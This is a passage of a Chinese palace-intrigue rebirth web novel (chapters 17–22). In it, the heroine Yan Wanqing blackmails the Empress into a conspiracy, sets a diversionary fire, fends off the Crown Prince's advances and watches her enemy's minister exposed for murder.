又和林嫣然嘱咐了几句,林大人看着马车缓缓下了山,心里才松了一口气。 可是等他一回头,原先静谧的山林,此刻竟然燃起熊熊大火! 半个时辰前。 孙氏一看见浑身湿透的女儿被太子殿下抱进了院子,原本被风吹得头疼的额头,此刻更加突突生疼。 “这是?” 孙氏心疼的看着燕晚清煞白的小脸,侧身让他们二人进屋。 宋姨娘在旁边有条不紊的吩咐丫鬟们烧热水,再将屋子里的炭火烧的旺一些。 “夫人,事情的经过大致如此,具体还要等郡主沐浴之后看御医怎么说。”萧蘋风看着被丫鬟们扶进内室的纤细身影,眼底有丝缕抑制不住的怒气。 孙氏微不可查的挪了挪位置,挡住了他的目光,克己复礼道:“今日之事多亏太子殿下了。” “夫人客气了。”萧蘋风微微颔首,退到了门外,此时刚好七皇子从院门口走了进来。 冷月之下,两兄弟在院子里远远相望,谁都不说话,看的一旁的孙夫人也有些胆战心惊,最终还是七皇子屈于地位,低头朝着太子爷问了好。 “七弟来了正好,孤最近得到了一个有趣的消息,本想等着赏梅宴会结束再和七弟商讨,既然今日有空,便在这儿说了吧。”萧蘋风走下了台阶,他比萧鸿深还要高半个头,颀长孔武的身形站在那里,跟平日里温和待人的样子有了些许出入,孙夫人远远的望着,只觉得平日里大家夸赞脾气好的太子爷,兴许并非传言那般温和。 她看了两眼,心中思绪很乱,最后吩咐丫鬟将门关上了。 说实话,她并不希望燕晚清和皇家有任何牵绊,但是燕晚清的身份地位放在那里,今日又显露人前,自然是会吸引这些有野心的皇子,只是孙氏没有想到,今日太子会如此出格,一路上抱着自家女儿回来。 大渭民风淳朴,可一个浑身湿透的女儿家被一个男子抱在怀中,大庭广众之下,还是多有不妥。 事情已经发生,想太多也没有用,孙氏打算还是先看看自己的女儿的状况。 内室里。 燕晚清就着丫鬟的手,喝着茶水漱口,吐出粉色的茶水,身上湿冷的襦裙也被一一换成了黑色的劲装,三千发丝被高高束起,眉间的病态也被英气遮盖。 孙氏走进来就看见了这幅画面,心里又是一惊:“你这是要干什么?” “时间不多,女儿得去办件事情,待会儿若是赶不及回来,母亲要帮我。”燕晚清掀开床板,下面赫然有一条密道,她毫不犹豫的走了下去,速度快到孙氏根本来不及反应。 等到人进去了,孙氏才气得啐了一声。 “这脾气和她那个爹一个死样,做事也不先知会一声,还得要人善后。”话虽是这样说着,孙氏还是吩咐着人将床放了下来,恢复成最初的样子。 她吹不得多久的晚风,便没有一直凑热闹,等皇后下场了,也让人扶着她回来休息了。 休息了个寂寞。 孙氏揉着太阳穴,在丫鬟里面找了个跟燕晚清身形相仿的,吩咐着她上床躺着了。 这边。 燕晚清打着火折子在密道里穿梭,根据前世的记忆,她很快找到了出口。 山里的夜色总是要比京城浓郁许多,寺庙里的大片的竹林在夜风之下吹得簌簌作响。 燕晚清摘掉刚刚密道里粘在额前的蜘蛛网,从枯草丛生的洞口里爬了出来,进入了一个很僻静的院子里。 屋内烛火摇晃,妖娆的身影被投射到窗户纸上,纵情的鸳鸯旁若无人的肆意交颈痴缠,发出让人羞怯脸红的声音。 谁能想到刚刚晚宴上不胜酒力的皇后娘娘,此刻正在这个暗藏玄机的别院里……跟人偷情呢?! 第十八章 皇后娘娘这么年轻,肯定不想死吧 灯火憧憧,人影重重,娇娇颤颤,听得燕晚清头皮发麻。 她两世为人,都未经人事,此刻不免有些骑虎难下,自己不能上,那就只能让暗卫上了。 “否极,你去把皇后娘娘的肚兜偷过来。” 黑暗中传来一声树枝折断的轻响,但是很快只听见屋内传来一声尖叫,下一刻那抹带着女儿香的贴身之物放在了燕晚清的手里。 与此同时还有否极咬牙切齿的声音:“大小姐以后切莫再大材小用。” 燕晚清干笑两声,她自知理亏,只是现在也没有更好的办法。 现在不是考虑这个的时候,只见屋子里的人穿戴好了衣服,怒气冲冲的推开了门,出来的时候,那张妖娆年轻的面庞上,红晕还未消散,等看到院子里的人是燕晚清的时候,那双大眼愣了一下,随即她冷哼一声,慵懒的靠在了门栏上。 “本宫道是谁,原来是安平郡主,这是闹得哪一出啊?” 皇后张岚依,太医院长老之女,因样貌生的极美,又有一手好医术,深得皇帝青睐,短短几年便从贵人升为了皇后,不可谓心计手段容貌,眼前的这个女人应有尽有。 燕晚清自然是不敢小觑她,毕竟前世这桩皇室秘辛爆出来的时候,张岚依至死都将这个跟她欢好的心尖人藏得好好的,没有走漏一丁点风声。 后来萧鸿深将南山的密道图纸交给她,用来屯兵屯粮,燕晚清才终于搞明白,那个被张岚依藏在身后的男人是谁。 “不愧是皇后娘娘,这般胆量,旁人难及。”燕晚清耀武扬威的将手里绣着凤凰图案的物件,随着晚风扬了扬,眼见着张岚依眼底的杀意又浓了几分,她才轻笑道:“非常时期,非常手段,有件事情想要和皇后娘娘商讨一下,相信娘娘一定感兴趣。” “燕晚清,你好大的胆子!”张岚依咬牙切齿骂道:“以下犯上,你真当本宫是吃素的,你一个病秧子,有几条命敢欺负到本宫的头上!” “不多。”燕晚清收起笑意,清澈的眸子里肃杀肆虐,声音也跟着喑哑起来:“一条而已,但是够用。” 她歪着头看了一眼静谧的屋内,烛火还在摇曳,昏黄的灯光在窗户之上扑闪,里面安静的像是刚刚的一面只是她精神恍惚。 “要是猜得不错,里面的那位此刻已经顺着密道离开了吧。” 此话一出,张岚依眉头一拧,但是很快她便舒展:“本宫不知道你在说什么,今夜这里,只有本宫,还有一个不知死活的东西,什么其他人?本宫一概不知。” “皇后娘娘全身上下嘴是最硬的,也相当的毒。”燕晚清轻叹一声:“真是回京城呆了几年,大家都以为安平郡主性情淑均好欺负,忘记曾经那个燕晚清也是个吃肉的了。” 说着她舌尖忍不住抵了抵自己的小虎牙,尖锐的钝痛感在舌尖绽放的瞬间,她兴奋的眯起了双眼。 “要不然皇后娘娘动动脑子,猜猜这隐秘的院中院,我这不知死活的东西是怎么进来的?又或者——”燕晚清拉长语调,观察着张岚依的神情,见她明显没有之前那般坦然,嗤笑道:“皇后娘娘想看到刚刚屋子里的情郎,天亮之前被扭送到太子面前……” “住嘴!”张岚依捏紧拳头,涂得鲜红的豆蔻指尖狠狠的扎入手掌,她冷下脸来:“你到底想要鱼本宫商议什么?” “自然是一件天大的好事,一件皇后娘娘感兴趣且唾手可得的好事情。”燕晚清眯起了双眼,笑的像个狐狸精。 张岚依将身上的袍子拉紧了些,抿着红唇,凌乱的发丝低垂下来,遮盖住她眉眼的暗光:“说来听听。” 燕晚清也不拐弯抹角,她刚落水,又钻了密道跑了好些路,眼下院子里冷风阵阵,此刻的她根本没有多少时间陪着这位骄纵的皇后硬撑,更何况她捏着对方的命门,也不需要再绕弯,索性打开天窗说亮话,痛痛快快的。 “眼下朝堂内外明争暗斗,陛下身体日渐衰弱,而大渭的历朝历代又有皇后陪葬的规矩,皇后娘娘这么年轻,肯定不想死吧?” 张岚依嘴唇抖了几下,最终还是没忍住:“燕晚清你真会说话。” “没什么本事,一张嘴尔尔。” 张岚依不是没有考虑过这个事情,皇帝老儿的身体确实越来越不行,可是他不信御医,偏偏信奉那炼丹的道士,还说要封那疯道士为国师,保卫大渭太平,真是笑死人了。 他要走就走好了,可是偏偏该死的祖训在那摆着,老头走了还得带走她! 她这么年轻,长得也这么好看,好日子还没有过够,就要死了? 这事情换谁心里都梗着一根刺。 “你有办法让本宫不殉葬?”张岚依看着燕晚清,冷月之下,她那瓷白的几乎透明的脸色,看的她有些不真切:“死遁的话就不用提出来了,本宫自己也能行,本宫主要是不舍得这泼天的权贵和荣华,你要是能够让本宫不死,还能继续享福,本宫便与你捆在一根绳上。” 张岚依一副燕晚清要是说出这个法子,就看不起她的神情。 “那是当然。”燕晚清语气笃定,蓦地院子里平地起风,说出来的话却掷地有声,让原本慵懒的张岚依蓦地紧缩瞳孔。 “皇朝更迭,天下易主,皇后娘娘若是登基就位,满朝文武又有谁敢催您去……殉葬呢?” 静谧……死一样的静谧。 不知道过了多久,张岚依仰天大笑,她笑的眼角渗出泪,好半饷她站直了身子,看向燕晚清的目光终于变得有些不同了。 “安平郡主,鼓动本宫谋朝篡位,当真不一般啊……这安平,可太他娘的安平了哈哈哈!”张岚依忍不住骂了一嘴,抬脚走了过来。 浓郁的梅香扑鼻而来,燕晚清目不转睛的盯着面前的女人。 三十出头的年纪,却美的像二八少女,岁月在张岚依眼中只留下了沉淀和……现在无法掩盖的野心! “你太对本宫的胃口了。”张岚依伸出手轻轻的抚摸着燕晚清的脸颊,冰冷的指尖在她温暖的面庞上轻轻拂过,最后落在了她的下巴上,重重的掐出了月牙印。 燕晚清倒抽了一口冷气,看着张岚依的眼神也带着不善。 “小狼崽子,当年本宫还是个医女的时候,你就是这副眼神,果然啊,人的本质是不会变的。” “燕晚清,进屋吧,跟本宫好好说说,这天下你要如何谋得给本宫。” 第十九章 这天下男人坐太久了,该跪下了 燕晚清也不扭捏,这院子里的风确实吹得她生冷,骨头都开始有些疼。 她并不担心进屋之后皇后会对她不测,因为她的暗卫否极也不是吃素的。 屋内。 两个女人隔着圆桌两两相望。 燕晚清手里还捏着对方的红色贴身衣物,张岚依倒是坦荡,斜靠着椅子:“本宫不会跟你要的,凡事都得有点赌注,本宫心里清楚的很。” “皇后娘娘果然不一般,好生佩服。”千穿万穿,马屁不穿,燕晚清眼睛不眨的说道。 张岚依娇哼一声:“你不选择那痴缠你的七皇子,也不选择大家都看好的太子,剑走偏锋选择本宫,到底是怎么想的?” “娘娘既然早些年见过我,便知道我生来与旁人不同,越是旁人觉得不可能的事情,在我燕晚清这里便是可能,今天晚上,我取了娘娘一件信物,也会还给娘娘一件大礼。” “哦?”张岚依来了兴趣:“你准备了什么?” 燕晚清但笑不语。 张岚依冷哼:“你们这些玩权谋的,都喜欢装高深,心里脏得很。” “娘娘骂我的时候,别把自己骂进去。”燕晚清反唇讥讽,毫不相让。 张岚依捂嘴娇笑,披风顺着肩头往下滑,露出光滑的肩膀,上面还有粉红的印记,看的燕晚清眼皮一跳。 这画面,好生香艳。 “其实你来找本宫,也没有那么出人意料。”张岚依突然抛出一句话:“去年你父兄出征雁门关的时候,本宫远远的在城墙上看见你去送行,当时就想到可能会出现这么一幕,你可能会来求本宫,只是本宫没有想到你的胆子比想象的更大。” “娘娘不妨直说,雁门关之行,您到底知道多少。”燕晚清问道。 这是前世没有过的画面,她确实找盟友了,不过却找错了人,找上了萧鸿深,最终落得个满门抄斩的下场。 所以这辈子她剑走偏锋,重新审时度势,既然都要选择,为什么不选择一个完全站在局外的人呢? 张岚依就是这个绝对的局外人,前世她根本就没有活到群雄争霸的那天,被弥留之际的皇帝发现了她的情事,最后一条白绫生生勒死在后宫之中,据说死之前被折磨的体无完肤。 由此可见,皇帝对于自己被绿了这件事情有多么难以容忍。 但是现在,她打破僵局,拉着张岚依入局,改变她的命运,通过这一枚棋子的变化,来带动棋盘的变化。 这是她重生的那天,想了一下午才想到的——生门! 首先,张岚依太医院出身,现在虽贵为皇后娘娘,却没有坚实的背景,倘若镇国公府站在她的身后,那么现在满朝文武泾渭分明的局面就会形成三足鼎立的局面。 至于后面张岚依究竟能不能成功,又会不会反悔,现在的她只能走一步看一步。 不管怎么样,多一个争权夺势的局面,是燕晚清非常乐意看到的。 越乱,他们燕家就越安全。 燕晚清思绪万千的时候,对面的人也在打量着她。 张岚依看着面前一身黑色劲装的燕晚清,想到探子不久前还跟她说这位落水的事情,她压根就没有放在心上,没有想到这小姑娘竟然是朝着自己来的。 她就说呢,常年不出门,怎生她开个赏梅宴,这位女诸葛就开门出来了,平日里的荷花宴,吃蟹赏菊宴也没见她出来玩啊。 “听说你前几天进宫看了孙贵妃。”张岚依开口。 燕晚清挑眉:“皇后娘娘这是要转移话题么?我拿镇国公满门性命给娘娘当垫脚石,娘娘就是这种合作态度?” “小狼崽子,你急什么?本宫又不是不告诉你。”张岚依翻了个白眼,伸出手托住香腮懒懒的打了个哈欠:“但是本宫先给你说好了,只是猜测。” “娘娘请说,是真是假,我心中有数。”燕晚清冷着小脸说道。 张岚依也不再拉扯:“战事起来的前一个月,那疯道士从雁门关刚回来,虽说雁门关常年战乱,但是怎会他去了一趟之后,那些蛮子就像是开了窍一样,一下子打下了那么多城池呢?”她眯着眼睛回忆宫内那疯道士的模样,只觉得后槽牙很痒:“看他那尖嘴猴腮的样子,指定是没有憋着好屁,然后那天晚上,本宫就听见他鼓捣着皇帝让你们燕家去镇守雁门关,第二天诏书就下了。” 张岚依的声音还在继续,燕晚清却觉得心头一凉,脑子嗡嗡作响,只看见对方的嘴唇上下张合,一阵强烈的耳鸣之后,她终于再次听到了声音。 竟然是这样…… 竟然是宋化虚从中作梗。 她眼底有些酸涩……可是却又干的留不下泪来。 可是为什么呢? 宋化虚和父亲一直是好友,他更加是自己亦师亦父的长辈啊! 燕晚清前世怀疑了所有人,却偏偏没有怀疑到宋化虚身上。 她一直以为宋化虚炼丹给皇帝服用,最后把皇帝身体拖垮,也是在为燕家报仇。 诏书下来的那天,宋化虚骑着驴子挡在士兵面前的身影,她依稀还记得啊…… “喂!小狼崽子?!你不会要哭吧。”张岚依看着燕晚清猩红的双眼,微微皱眉:“别在本宫面前哭啊,娘们唧唧的作态,怪恶心人的。” 燕晚清双手攥拳,虎牙压住下唇,印出深深的痕迹,逼着自己平复心情。 “本宫与那疯道士向来不和,你可以不当回事,反正本宫也就是这么一说,事情究竟是怎样,你自己去调查。”张岚依微微凑近些:“现在你告诉本宫,你前些时日进宫与孙涟漪说了些什么?” 燕晚清微扯唇角,挤出一抹笑容:“进宫提醒贵妃,皇帝要杀她。” 张岚依怎么也没有想到会是这么一个答案,她惊讶的咽了一口口水,声音有些大,妖娆的双眸瞪大,半天回不了神。 “你是真的没把本宫当外人啊,这种话你也敢随口说出来。” “这是诚意,不是么?”燕晚清凝眸看向眼前人,那只捏着肚兜的手轻抚上面前人的脖颈,红白相衬的画面很是醒目,她低笑,没有任何温度:“他觉得谁都能杀,视人命如草芥,可草芥也有重量也有锋芒,迟早也有反杀的一天。” “这天下男人坐的太久了,皇后娘娘不想看他们跪下臣服的模样么?” 第二十章 乖乖,原来你喜欢投怀送抱啊 蛊惑人心的话语从少女的口中吐露出来,张岚依承认自己是心动了,明明知道眼前的小狼崽子不怀好意,可是这一刻,她心里难以压制的野心蓬勃而出。 她猛地伸出手掐住燕晚清放在自己脖颈上的手腕,紧紧的摁住,双眼一眨不眨的盯着面前的少女,一字一句:“他日本宫君临天下,你可愿当本宫的丞相?” 燕晚清自负勾唇:“囊中之物,皇后娘娘何须发此一问。” “好!哈哈哈哈……” 隔着圆桌,一坐一站,成熟和青涩的对峙,气势上却不差分毫。 此时外面突然传来喧嚣,只见天边火光燎燎,张岚依余光撇过去:“怎么回事?” 燕晚清收回自己的手,轻轻的揉了揉手腕,上面微微发红,她不在意的说道:“无碍,不过是来见娘娘的手段而已。” “你为了今晚,放火烧山?!”张岚依简直不敢相信自己的耳朵。 燕晚清习惯性舔了舔自己的虎牙,尖锐的钝痛感让她踏实,眼底十分坦然,似乎是在说:不可以么? 张岚依轻笑一声,扶额摇头骂了一句:“疯子!” 燕晚清扶着桌子缓缓站起,火光起来,也是告诉她得回去的信号,她该走了。 “皇后娘娘。”燕晚清目光沉静:“事成之后,我希望娘娘可以放燕家全族归隐山林。” 张岚依眯着眸子反问:“那你呢?” “晚清此生,甘凭娘娘驱驰,鞠躬尽瘁死而后已。”沉稳的少女低下了自己高贵的头颅,以此来向上位者表示自己的臣服。 张岚依噙着一抹笑意,笑意却不达眼底,她道:“整个燕家,本宫只要你。” “喏。”燕晚清抬起头,扬了扬手里的红色物件,最后塞进了胸口,她朝着张岚依扬了扬眉,仿佛刚刚的温顺都是幻觉,只见少女勾了勾唇朝着门口走去:“皇后娘娘可别忘记,今晚臣还准备了一份见面礼,等着娘娘接收。” 那纤细的身影很快遁入了夜色之中,僻静的院子很快恢复了平静。 张岚依环抱着臂膀,依靠着圆桌,目光微沉,不知道在思索什么。 从帷幔身后缓缓走出一个高大的身影,那人从背后拥住她,帮她拉好了披风,遮盖住肩头,油灯之下露出一个光亮的头颅。 竟然是个俊美的和尚! “你怎么想?”张岚依呢喃出声。 那俊美的和尚埋头在她秀美的肩颈处深吸一口气,露出自己的面容来,细看之下,一双异瞳惊艳潋滟! “僵死之局,她或许就是那个变数。”和尚开口。 张岚依勾起红唇,眼底都是志在必得:“燕家啊,可真是人才辈出。” 她扭过身子,将自己依偎进男子的怀抱中,禅香安定了她不安的心情:“你准备什么时候回燕家?” 男子摸了一把自己光滑的头颅,露出一抹痞笑,跟平日香客见到的完全不一样,充满了离经叛道的味道。 他勾着张岚依的下巴,低下头辗转之间说道:“先让小辈玩会儿,玩不下去了,才轮到贫僧上场。” “不正经的东西。”张岚依笑骂。 男子大手滑进披风里面:“……正经的话,皇后娘娘还会看得上贫僧么?” “……” 燕晚清顺着密道重新回到了房间,一上去就对上了孙氏担忧的目光。 她捏了捏母亲的手,在丫鬟的帮助下褪去了身上的劲装,她眼中微热,母女俩相顾无言。 燕晚清的手指冰凉,孙氏便一直摩搓着她的手取暖。 “都谈好了?”孙氏问道。 燕晚清颔首,抽回了自己的手,身上的虚汗让她现在非常不舒服。 “你先洗个热水澡,洗完把药喝了。”孙氏看着外面火光冲天,叹了一口气:“你啊,这动静太大了。” 燕晚清将自己放进温热的水中,才呼出一口浊气:“大概是庆祝女儿出山,他们太高兴了。” 孙氏摇了摇头,带着丫鬟出去了。 燕晚清则是缓缓闭上了眼睛,开始思考接下来要怎么走。 慢慢的,她的呼吸趋于平稳,昏昏沉沉的睡了过去。 不知道过了多久,她在黑暗之中感觉到被肆无忌惮的窥视,这种莫名的入侵感,让她警觉的睁开了眼睛,撞入了一双深邃如墨的眼眸中。 那人居高临下,棱角分明的面庞仿若雕刻,此刻嫣红的唇瓣微微抿起,就这么盯着自己。 燕晚清被看的窝火,素手拍起水花,趁着对方躲避的功夫,她迅速扯住一旁的衣服拉入了浴桶中,遮盖住水下曼妙的身姿。 “无耻!”她顾不得身份地位,直接开口骂道:“男女之别,圣贤之书都读到狗肚子里去了吗!” 被骂之人,也不生气,微微挑眉,眼里都是兴味。 “燕晚清,你骂孤?” “不然呢?!”燕晚清感觉浑身都不自在,真不知道这发神经的太子是怎么进来的,怎么暗卫们都没有发现。 还是说他的武功已经高深莫测到……否极他们都注意不到的程度了? 如果是后者……燕晚清眸子里有了忌惮。 “把你那弯弯绕绕的脑子屡直了,别搞那么多阴谋论。”黑夜的包裹,让这位神祇一般的太子爷撤去了伪装,又回到了山涧里邪肆跋扈的模样,只见他冷哼一声,不退反进,双手撑着浴桶,就这么大刺拉拉的看着燕晚清:“太干瘪了。” 燕晚清:“!!!” 干瘪? 是在说她? 伤害不高,侮辱性极强! “行了,赶紧起来吧,水凉了。”嘴毒的太子爷慢悠悠的站直身子,然后转过身去。 燕晚清恨不得拿手边上的水瓢砸他后脑勺:“太子殿下不出去么?” “外面起火了。”他不多说:“有人故意纵火。” 就差把孤要贴身保护这句话放在嘴边。 燕晚清恨得牙痒痒,却也没辙,她双手撑着浴桶缓缓起身,却不料长时间坐在里面,导致小腿发麻,起身冷不丁狠狠的撞在了浴桶上,疼的她倒吸了一口凉气。 “嘶——!” “怎么了?”男子听到声音,就要转过身来。 可是他转过来就会看到自己的身体! 燕晚清瞪大眼睛,电光火花之间,她顾不得那么多,隔着浴桶,直接抱住了那人,将自己单薄的身躯依偎进去他的胸膛。 他的胸膛是滚烫的,身上也不是那种腻的发甜的龙涎香,反而有一种淡淡的月桂味道,带着丝丝入扣的禅香,本该安定人心,此刻却让燕晚清心跳加速。 偏偏这该死的男人还戏谑的笑了一声。 “乖乖,原来你喜欢投怀送抱啊。” 第二十一章 敢嫁给萧鸿深,他就扒了她的皮 见鬼的投怀送抱! 乱喊什么乖乖! 燕晚清此刻苦不堪言,膝盖撞击木桶的疼痛让她难以忽视,偏偏此刻心跳不止。 双手隔着布料抵着男人的衣襟,可是布料却被水渍浸润,逐渐虚无,慢慢的让人的体温渗透了出来……烫的她心尖都跟着乱颤起来。 这个感觉太奇怪了。 她感觉自己身体都跟着发烫起来,要不是房间昏暗,她觉得自己一定像个煮熟的虾子。 “……才没有!你把眼睛蒙起来,转过去。”燕晚清听见自己的声音都在发抖。 黑暗中,浑厚陌生的男子气息铺面而来,周围寂静到连喉结轻微上下滑动的动静,都能听到。 “抱着孤,孤就什么都看不到了?”男子有些恶劣的在她耳边吹了一口气,轻轻的一口,差点让她膝盖发软滑下去。 “萧蘋风!”燕晚清咬着后槽牙憋住三个字。 “嗯?” 她深呼吸一口气,语气还是软了下来:“……求你。” “求孤什么?” “闭上眼睛转过去。”人在屋檐下不得不低头。 “呵……”男子轻笑一声:“好好好。” 趁着他闭眼转过去的瞬间,燕晚清顾不得膝盖疼,赤脚出了浴桶,拿了案几上的衣服便胡乱套在了身上,紧跟着整个人头也不回的钻进被窝中,将自己包裹成了粽子。 一番动静不算大,可男子耳力超群,连他自己都没有注意到,黑暗中自己宠溺的笑。 “……太子殿下还有事么?”燕晚清脸上火烧云,在被子中发出闷闷的声音。 只见那人颀长的身影背对着自己:“确定要这样说话?你什么时候让孤转过来。” 燕晚清气得一噎,贝齿轻咬下唇:“您,转过来吧。” 反正今日落水就是他抱回来的,此刻外面指不定传成怎样的风言风语了,刚刚他还——燕晚清越想越觉得脸颊发烫,心里也气得不轻。 这位不会是脑子有病吧,大晚上不去救火,跑房间里来看她洗澡?! 太子爷不知道燕晚清脑子里在想什么,但是看着她脸上的表情不停的变化,冷哼一声:“燕晚清你害羞个什么劲,早些年咱俩还一起河边洗过澡呢。” “你闭嘴!你——”燕晚清抄起榻上的枕头便扔了出去,被男子稳稳的接住。 他不以为意:“怎么了?” “三岁的事情你说到现在,你要不要脸啊!”燕晚清恨不得掐住自己的人中来按压心中的怒气,但凡她现在武功还在,今天晚上不是他死就是他亡! 萧蘋风这个裹着人皮的妖孽! “你知不知道什么叫做男女有别?!” 只见那人踱步过来,半蹲在榻前,眼神专注的盯着她,燕晚清被看的一愣。 “平日里你只教了带兵打仗,可没有教什么伦理纲常男女之别。”侵略的目光,还有他特意压低的嗓音,黑暗中也难掩迭丽的姿容,充满了压迫感:“是吧,老师?” “谁是你老师?!”太子的教导有专人,哪里轮得到她,这萧蘋风喊的哪门子的老师。 “怎么?”那只修长有力的手却直接掐住了她的下巴,两腮被他紧紧的捏了捏:“萧鸿深那个家伙喊得,孤喊不得?” 燕晚清不知道今天晚上这位爷到底是受了什么刺激,平日里他们之间的交集也没有这么深……他此番举动到底想要干什么。 她想不通,气氛陷入了沉寂。 这位爷好似自己生完了所有的气,蓦地抽回了尊贵的手,声音冰冷无比:“燕晚清,做孤的太子妃吧。” 一句话,如一道惊雷从天而降,在燕晚清的脑海中炸开了花。 她错愕的看着俊美如铸的男子,微微蹙眉:“……为什么?” “什么为什么?”太子爷乖张跋扈:“摸也摸了,抱也抱了,你不嫁给孤,想嫁给谁?萧鸿深吗?!” 她敢! 敢嫁给萧鸿深,他就扒了她的皮! 燕晚清自然不会嫁给萧鸿深,可是她也没有想要嫁给太子啊。 这也是前世根本没有出现过的画面。 “可是我们才见了几次面……”燕晚清努力屡清楚思绪:“我认为我们之间没有感情,您身为太子,没必要因为这点小事,就突然提出要娶,娶……”最后几个字,她咽在了喉中。 “那只是你认为。”萧蘋风眸色又深了几分,带着看不懂情绪的隐忍:“还是说……你心里已经有人了?” 燕晚清抿着唇在思索这位爷到底是什么意思,沉默中,她看到萧蘋风头也不回的推门而出。 她:“?” 这位爷又生气了?他生的哪门子气?就因为她没有答应嫁给他? 还是生气被拒绝这件事情的本身?身为皇朝太子爷,外面多少黄花大闺女的梦中情人,被她这么一个大龄女剩女拒绝,所以他生气了。 燕晚清越想越有道理。 此时房梁上传来淅淅索索的声音:“……主子。” 是否极。 燕晚清扶额轻叹:“没事。” 否极欲言又止,最终还是忍住没有说出口。 那太子什么时候进来的不知道,但是出去的时候可是大摇大摆。 得亏大夫人带着宋姨娘还有满院子的人去救火了,不然这太子爷旁若无人的从正门出去,指不定要吓死多少人呢。 “你出去吧。”燕晚清疲惫的揉了揉眉间,等到房屋恢复安静,她才掀开被褥,重新换了一套舒适的衣服,然后打开了房门。 此刻天边依然火光冲天,空气里都是烧灼的味道。 燕晚清抬手结果否极递过来的药汁,一饮而尽,抬手便将碗摔碎在了地上。 “走吧,跟你主子我去看看,这火烧的旺不旺。” 她大步向前,肺腑中都是苦意,可整个人却是说不出的畅快。 南山之行,是她燕晚清出山之作。 现在收网捞鱼了。 大火自然是没有任何人伤亡,燕晚清赶到的时候,火势还在继续,只不过烧的都是后山常年荒芜人烟的地方。 大家抢火救了临近的寄件柴房,便也就任由火势蔓延了,后山下面便是江水,也烧不出什么名堂。 这也是为什么燕晚清根本一点不着急大火的原因,因为她知道能控制得住。 “这场火实在是太蹊跷了。”人群中林大人满眼都是阴谋论的说道:“好端端的怎么会突然起火呢。” “冬日里天干物燥,起火也很正常,去年南山就烧过一次,但是那次小。”有人跟着搭话。 林大人还是摇摇头,摸着自己的山羊胡子。 他觉得事有蹊跷,但是又说不准为什么。 就在此时,一声呵斥平地乍起:“来人,把林平之绑了!” 说话的竟然是七皇子萧鸿深。 第二十二章 好好享受,你的苦难还在后头 林大人平日里为七皇子瞻前马后的,满朝文武谁不知道此人就是七皇子的左膀右臂。 但是此时此刻他竟然出口让人把林大人给绑了! 这是为何? 众人大惊,不解。 “林大人犯了何事?七皇子殿下要这般啊。”有人问道。 萧鸿深阴沉着一张脸,看着林大人的眼神宛若在看具尸体,吓得林大人赶紧跪在了地上。 “殿下,臣所烦何事啊,劳您这般动怒?”难道是安平郡主的事情?可是不是已经处理妥当了吗? 林大人心里百思不得其解,但是见七皇子的脸色,便也知大事不好了。 此时太子爷也姗姗来迟,他换了一身黑蟒长袍,发丝高高束起,整个人冷漠又矜贵,神圣不可侵犯。 让人群后方的燕晚清看的愣了一下。 这厮,还真有好几副面孔呢。 只见太子爷抬脚便直接踩在了林平之的肩头,然后便是重重的一踹,将这老头踹的人仰马翻。 见太子动怒,众人扑啦啦跪了一地。 “求太子息怒啊!” 林大人顾不得疼痛,赶紧又爬回来赶紧跪好。 只听见太子说道:“林平之你好大的胆子,胆敢做出杀人夺财的勾当!” 此话一出,一片哗然。 林平之大惊失色:“太子殿下冤枉啊,微臣岂敢……给微臣一百个胆子微臣也不敢啊。” 他眼神惶恐,不断的看向七皇子,却见对方直接侧过身子回避他的眼神,心里顿时没了谱。 萧蘋风冷笑一声:“装,再给孤装一个,直接给你丢大火里,烧个干净!” 他周身戾气浓郁,衬托着整个人犹如杀神,让人不敢直视。 林平之却还是跪在地上不停的磕头,喊着冤枉。 萧蘋风见他猥琐至极,瞧的心烦,余光看到萧鸿深站在一边不作声,他心里更不高兴了。 “七弟,这件事情你来审吧,孤看看你有没有进步。” 萧鸿深袖子下的手直接攥成了拳头,倘若不是碍于身份地位,不是碍于众目睽睽,他真想一拳砸在这位不要脸的兄长脸上。 这皇朝之外的人不知道他的兄长是什么德行,皇朝之内的人可是一清二楚。 表面上温润如玉,人间神祇,背地里出手狠辣,还有一张气死人不偿命的毒嘴。 就连皇后张岚依也不敢轻易和这位对上,生怕骂不过气哭的还是自己。 萧鸿深压制住身上的怒气,对着林平之说道:“老实交代了吧,你都干了什么,为何要杀人,又为何要夺取他人钱财。” 林平之使劲摇头:“微臣没有啊。” 典型的不见棺材不掉泪。 萧鸿深原先想要留给这个跟了自己几年老臣的体面,也被他的死鸭子嘴硬给气没了。 “林平之,你是真该死啊!”萧鸿深拍了拍手,一个婢女搀扶着一个女人走了过来。 那女人羸弱小巧,风韵犹存,整个人充满了江南女子的婉约,温柔的就像是春日里的杨花,可是林平之却好像是看到了鬼一样,一下子瘫软在了地上。 他再也说不出狡辩的话语了。 “你,你为什么……” “为什么会出现在这里?”女子接过了林平之的话语,她眼角猩红却不肯落泪:“我不出现在这里,怎么送你这个人渣上路!” 朝堂四品官员身上裹上了人命官司,这在大渭的刑法里可是要掉脑袋的事情。 更何况林平之的情况如此严重。 “难怪啊,难怪这林大人的女儿穿金戴银的,那昂贵的首饰,说丢就丢,原来是家底子厚啊。”今夜溪边看到林嫣然闹剧的人感叹道。 林平之只觉得脑海里电光火石一瞬间,可是太快了,他抓不住。 “是谁?究竟是谁要害我啊!是谁,站出来!”林平之仰天长啸,这个女人为什么会在这个时候,出现在这里?!究竟谁在操盘?! “若要人不知,除非己莫为。”女子看着众人,缓缓开口,满脸悲伤:“我那夫君本是江南富商,那年接了京城上供棉花的大单子,可是却处处受阻,经过有心人指点,最后把我们夫妇二人引荐到了这个人面兽心的禽兽面前,前前后后花了万两白银还不够,这个禽兽人心不足蛇吞象,最终害了我夫君的性命,还将妾身囚禁在郊外的别院里,肆意凌辱……” 说到伤心处,女子潸然落泪:“妾身本想一死了之,可是却不想让夫君死得不明不白,好在老天有眼,妾身没有白等。” “你放心,七皇子一定会给你一个交代的。”听了这么久前因后果的秦舞,终于忍不住走了出来,她拍了拍女子的肩膀,同是女人,她有共情这种苦难。 女子掩面哭泣,秦舞便看向了萧鸿深:“七皇子,你英明神武,这等恶人你一定会好好处理的对不对?” 萧鸿深面部僵硬,生扯出一个微笑:“公主放心,林平之罪大恶极,法不容情,他难逃一死,既然这件事情本殿接手了,一定会给这位夫人还有他死不瞑目的夫君一个交代的。” 人群后的燕晚清掩住了扬起的唇角。 林平之可是萧鸿深的左膀右臂,他们之间连着骨头带着血的,这不得要了他半条命啊。 看着此刻萧鸿深的神情,燕晚清心里别提多痛快了。 萧鸿深啊萧鸿深,你可等着吧,以后你难过的日子还多着呢,前世你施加在我身上的痛苦,这辈子才刚刚开了个头。 好好享受吧,你的苦难还在后头呢。 